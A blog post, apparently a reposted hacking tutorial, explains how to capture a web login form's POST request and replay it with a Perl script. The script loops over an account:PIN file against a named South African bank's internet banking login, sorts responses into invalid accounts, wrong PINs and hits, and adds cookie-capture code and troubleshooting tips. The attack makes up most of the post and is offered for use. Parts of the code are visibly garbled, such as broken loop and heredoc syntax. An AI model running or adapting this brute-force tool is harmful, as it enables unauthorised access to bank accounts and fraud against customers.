Saturday, October 9, 2010

Web based authentication.

Web based authentication.
What happens when you are faced with a website that use a username and a password on the page itself - that is - no basic authentication or digest/NTML authentication, but coded in a ASP op PHP? I have been asked this question many times, and will try to explain the way I handle it. There is no quick fix - each page looks different, the tags are not the same etc. I will try to explain a generic solution.
Step 1: Get the source. You should first get the HTML source of the site prompting for a username and password - now obviously if the source is in a frame you'll need to get the frame's source.
As an example I'll use a big South African bank's Internet banking pages (its SSL protected, so that will make things interesting as well). We strip all the Java validation, and the tables - we are only interested in the section starting at
and ending at
. We are left with source that looks like this:

Profile Number :


Profile PIN :







Step 2: getting the HTTP POST request. Now the more expert web developers could probably see exactly what the HTTP header would look like - but I am a bit slow so we want to make sure that we don't make a cluck-up. Safe the edited HTML source somewhere, and modify it slightly - we want the HTTP request to go through in the clear (so that we can monitor it) and so we will change the destination from

to:
METHOD="POST"
The IP 160.124.19.97 is the machine right next to me on my network (not running any form of HTTPd but this is not a problem). We now fire up our favorite network sniffer looking for traffic to the IP 160.124.19.97 on port 80, while we "surf" our edited file (get it - the idea is to see the POST request in the clear). We enter some values in the fields and hit submit. On a network level the HTTP request looks like this:
# seepkt "ip and dst port 80 => show ascii"
POST /scripts/xxx/xxx.dll?Logon HTTP/1.0^M
^JConnection: Keep-Alive^M
^JUser-Agent: Mozilla/4.72 [en] (X11; I; FreeBSD 4.0-20000727-STABLE i386)^M
^JHost: 160.124.19.97^M
^JAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*^M
^JAccept-Encoding: gzip^M
^JAccept-Language: en^M
^JAccept-Charset: iso-8859-1,*,utf-8^M
^JContent-type: application/x-www-form-urlencoded^M
^JContent-length: 45^M
^J^M
^JProfileNumber=123456789&PIN=5555&Graphics=Off
(thnx to JT (you know who you are) for such a fine tool like seepkt) OK - now don't worry about the ^J's and the ^M and the start and end of the lines.
Step 3: replay the request. Now if we can send this HTTP header + 1 line of text to the server, the server will think that we are trying to log into it,
and will respond with some HTML in return. So - we need a program or script that will generate this request and send it to the webserver. Most of the header is static, but there are some fields that are dynamic. The basic structure of such a script would look like this:
1. set up the target IP and port (and other bits)
2. build the POST request
3. calculate and build the HTTP header
4. send it all to the server
5. parse the results
We might want to loop parts 2-5 for different "usernames" and "passwords". These "usernames and passwords" are read from a file. Remember that the site is SSL protected, so let us assume a SSL-proxy is running on the local machine, pointing to the target, and listening on port 5555. Let's now look at the actual script:
#!/usr/bin/perl
use Socket;
########[1] Init all
$host = "127.0.0.1";
$port = 5555;
$urlthingy = "/scripts/xxx/xxx.dll?Logon";
$target = inet_aton($host);
open (INPUT,"accounts") || die "Could not open account file\n";
########[loop] begin
while ()//{
chop;
($account,$pin)=split(/:/,$_)
print "Testing account $account with PIN $pin : ";
#######[2] Build POST request
$poststring="ProfileNumber=".$account."&PIN=".$pin."&Graphics=Off";
#######[3] calculate & build HTTP header
$plength=length("$poststring");
$tosend=<POST $urlthingy HTTP/1.0
Content-Length: $plength
Connection: Keep-Alive
User-Agent: SensePostData
Content-Type: application/x-www-form-urlencoded
$poststring
EOT
;
$tosend=~s/\n/\r\n/g;
#######[4] Send it to the server
#print $tosend;
my @results=sendraw($tosend);
#print @results;
#######[5] Parse the results
my $fail=0;
for (@results) {
if (/The Profile/) {$fail=1;}
}
for (@results) {
if (/PIN/) {$fail=2;}
}
for (@results) {
if (/Before/) {$fail=3;}
}
if ($fail == 1) {print "not a valid account number\n";}
if ($fail == 2) {print "not a valid PIN\n";}
if ($fail == 3) {print "not a registered account number\n";}
if (!$fail) {print "is good! Bingo! \n";}
#######[loop] end }
close (INPUT);
#### sub to send it to server - ta RFP!
sub sendraw { # this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S); $|=1; print $pstr;
while(){ push @in, $_;
print STDOUT "." if(defined $args{X});}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }
}
Obviously this script have to be modified to suits your need - especially the parsing bit..:) The "account" file contains ":" separated fields -e.g.
123456789:1234
987654321:4321
etc.
Tricks
If your script does not work the first time - do not despair - things have to be exactly right to work. Test your script without any loops, and hardcode the actual POST string (you'll have to calculate the "content length" yourself though). Uncomment the part where the HTTP header is printed - make sure it is exactly right.
Obviously you'll have to check what the results are to be able to parse the results - you would want to uncomment the part where the results are returned (it helps when you have a valid username and password in order to parse a positive result).
Virtual hosted sites. When sending data to virtually hosted sites you'll have to add a "Host: the_URL" in the HTTP header so that the server know with which virtually hosted site you are talking to. It is trivially easy to add this to the above script.
Cookies - they are there no make life a little more difficult. The server sends a cookie to the client, and the client needs to pass the cookie along all the time for the request to be valid. The idea is thus to first "capture" the cookie from the correct URL, and then to pass the cookie along in the POST request. Hereby is extract from a similar script that uses cookies:
#---------------discover the cookie
$xtosend=<GET /xxx/Logon_access.asp?langind= HTTP/1.0
Connection: Keep-Alive
User-Agent: SensePostData
Host: $posthost
Accept-Charset: iso-8859-1,*,utf-8
EOT
;
$xtosend=~s/\n/\r\n/g;
my @results=sendraw($xtosend);
#---------parse the result for the cookie jar
foreach $line (@results) {
if ($line =~ /Cookie/) {
$line =~ s/ //g;
$line =~ s/;/:/g;
($dummy,$cookie)=split(/:/,$line);
# print "magic cookie=[$cookie]\n";
}}
#---Get the real request out to the server
$tosend=<POST $urlthingy HTTP/1.0
Cookie: $cookie
Content-Length: $plength
Connection: Keep-Alive
User-Agent: SensePostData
Content-Type: application/x-www-form-urlencoded
$poststring
etc.etc.
Trick - set your browser to warn you of incoming cookies, and see if your script captures all the cookies.
I have found that on some servers the "Connection: Keep-Alive" tag breaks the script. I fiddled with the HTTP/1.0 / HTTP/1.1 field - sometimes these two fields needs to be modified. Experiment!

No comments:

Post a Comment

hacking tools